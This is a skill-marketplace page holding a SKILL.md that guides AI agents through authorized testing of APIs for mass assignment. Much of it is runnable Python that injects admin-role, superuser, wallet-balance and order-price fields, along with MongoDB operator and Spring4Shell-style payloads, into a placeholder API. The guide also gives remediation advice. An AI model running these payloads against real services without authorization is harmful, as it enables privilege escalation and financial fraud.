pip install "decimalai>=0.15"
decimalai skills add mukul975-testing-api-for-mass-assignment-vulnerability

No Python or account. Cursor, Copilot, Cline and Warp read this folder by themselves.

Save it into your project

curl -fsSL --create-dirs -o .agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md https://app.decimal.ai/s/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Copy SKILL.md

Save it in your project, as

.agents/skills/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Cursor and other editors docs

Fetch the file and give its text to your model as instructions. No account or package needed.

Get the file

curl -fsSL https://app.decimal.ai/s/mukul975-testing-api-for-mass-assignment-vulnerability/SKILL.md

Read the summary as JSON

curl -fsSL https://app.decimal.ai/s/mukul975-testing-api-for-mass-assignment-vulnerability.json

This gets SKILL.md only. The skill's 2 other files are not included.

Other ways to add it

Other setups docs

You don't need a DecimalAI account.

Version: v1, tested 8/3/2026
Source: mukul975/Anthropic-Cybersecurity-Skills ↗
License: Apache-2.0

Manage it in DecimalAI

Saved prompts and skills, pinned versions, and traces of this skill in your runs. DecimalAI does not run your agent.

Claude Code reads files from your project, so DecimalAI config does not apply there.

On Claude Agent SDK: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.

On OpenAI Agents: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.

On OpenAI SDK: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.

On Anthropic: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.

On Gemini API: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.

On LangChain: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.

On CrewAI: set DECIMAL_API_KEY and add decimalai.init(crewai=True) to record runs and skill use. The skill version stays in your repo.

On Google ADK: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.

On Pydantic AI: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.

On Deep Agents: set DECIMAL_API_KEY and add decimalai.init(langchain=True) to record runs and skill use. The skill version stays in your repo.

On Microsoft Agent Framework: set DECIMAL_API_KEY and add decimalai.init(otel=True, agent_name="support") to record runs and skill use. The skill version stays in your repo.

On Strands: set DECIMAL_API_KEY and add decimalai.init(otel=True, agent_name="support") to record runs and skill use. The skill version stays in your repo.

Editors read files from your project, so DecimalAI config does not apply there.

Anywhere else: record a use with decimalai.log_skill_activation() inside a trace.

Use this skill

SKILL.md

Testing API for Mass Assignment Vulnerability

When to Use

Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
Assessing whether the API binds all client-supplied properties to the data model without an allowlist
Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
Testing APIs built with ORMs that auto-bind request parameters to database models
Validating that server-side input validation restricts writeable properties per user role

Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.

Prerequisites

Written authorization specifying target API endpoints and scope
Test accounts at different privilege levels
API documentation or OpenAPI specification to identify expected request fields
Burp Suite Professional for request interception and parameter injection
Python 3.10+ with requests library
Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior

Workflow

Step 1: Identify Writable Endpoints and Expected Parameters

import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")

Step 2: Inject Privileged Fields

# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "[email protected]"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"

    # Test each category of privileged fields
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)

        if resp.status_code in (200, 201):
            # Verify if the fields were actually set
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "field": field_name,
                        "injected_value": injected_value,
                        "confirmed": True
                    })
                    print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")

    return findings

all_findings = []
for endpoint in writable_endpoints:
    findings = test_mass_assignment(endpoint)
    all_findings.extend(findings)

print(f"\nTotal mass assignment findings: {len(all_findings)}")

Step 3: Verify Assignment Through State Change

def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """Verify that the mass-assigned field actually persists in the database."""
    # Re-fetch the object to confirm the field was saved
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
            return match
    return False

# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")

# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
    headers=user_headers,
    json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")

# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
    print("[CRITICAL] Mass assignment: Role elevated to admin")

# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
    print("[CRITICAL] Admin access confirmed after role elevation")

Step 4: Framework-Specific Testing

# Ruby on Rails / Active Record style
rails_payloads = [
    {"user": {"name": "Test", "role": "admin", "admin": True}},  # Nested under model name
    {"user[name]": "Test", "user[role]": "admin"},                # Form-style nested
]

# Django REST Framework style
django_payloads = [
    {"username": "test", "is_staff": True, "is_superuser": True},
    {"username": "test", "groups": [1]},  # Add to admin group by ID
]

# Express.js / Mongoose style
express_payloads = [
    {"name": "test", "__v": 0, "_id": "000000000000000000000001"},  # Override MongoDB _id
    {"name": "test", "$set": {"role": "admin"}},                     # MongoDB operator injection
]

# Spring Boot / JPA style
spring_payloads = [
    {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
    {"name": "test", "class.module.classLoader": ""},  # Spring4Shell style
]

# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
    resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
    if resp.status_code in (200, 201):
        print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")

Step 5: Order and Financial Object Mass Assignment

# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")

# Test 1: Create order with manipulated price
order_body = {
    "items": [{"product_id": 42, "quantity": 1}],
    "shipping_address": {"street": "123 Test St", "city": "Test City"},
    # Injected fields
    "total": 0.01,
    "subtotal": 0.01,
    "discount_percent": 100,
    "coupon_code": "FREEORDER",
    "shipping_cost": 0,
    "tax": 0,
}

resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
    order = resp.json()
    print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
    if float(order.get("total", 999)) < 1.0:
        print("[CRITICAL] Price manipulation via mass assignment")

# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
    headers=user_headers,
    json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
    print(f"[MASS ASSIGNMENT] Order status/payment fields modified")

# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
    headers=user_headers,
    json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
    wallet = resp.json()
    if float(wallet.get("balance", 0)) > 10000:
        print("[CRITICAL] Wallet balance manipulation via mass assignment")

Key Concepts

Term	Definition
Mass Assignment	Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields
Auto-Binding	Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured
Allowlist (Whitelist)	Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters
Blocklist (Blacklist)	Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist)
Object Property Level Authorization	OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access
DTO (Data Transfer Object)	Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model

Tools & Systems

Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
Postman: API testing platform for crafting requests with injected parameters and verifying responses

Common Scenarios

Scenario: SaaS User Registration Mass Assignment

Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.

Approach:

Register a new user with only expected fields: POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"} - returns user with role: "user"
Register another user with injected role: POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"} - returns user with role: "admin"
Confirm admin access by calling admin endpoints with the new account
Test additional fields: is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium features
Test profile update endpoint: PUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modified

Pitfalls:

Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
Missing nested object mass assignment where fields like user.role or address.verified can be injected

Output Format

## Finding: Mass Assignment Enables Role Elevation via Registration API

**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
  - POST /api/v1/register
  - PUT /api/v1/users/me
  - POST /api/v1/orders

**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.

**Proof of Concept**:
1. Register with injected role:
   POST /api/v1/register
   {"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}
   Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}

2. Update profile with injected balance:
   PUT /api/v1/users/me
   {"name":"Attacker","balance":99999.99}
   Response: {"id":5001,"balance":99999.99}

3. Create order with manipulated price:
   POST /api/v1/orders
   {"items":[{"product_id":42,"qty":1}],"total":0.01}
   Response: {"order_id":8001,"total":0.01}

**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.

**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields

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mukul975 / Anthropic-Cybersecurity-Skills

skills/testing-api-for-mass-assignment-vulnerability/SKILL.md

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License Apache-2.0Imported 8/8/2026Version v1Bundled 2 files · scripts

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Testing API for Mass Assignment Vulnerability

When to Use

Prerequisites

Workflow

Step 1: Identify Writable Endpoints and Expected Parameters

Step 2: Inject Privileged Fields

Step 3: Verify Assignment Through State Change

Step 4: Framework-Specific Testing

Step 5: Order and Financial Object Mass Assignment

Key Concepts

Tools & Systems

Common Scenarios

Scenario: SaaS User Registration Mass Assignment

Output Format

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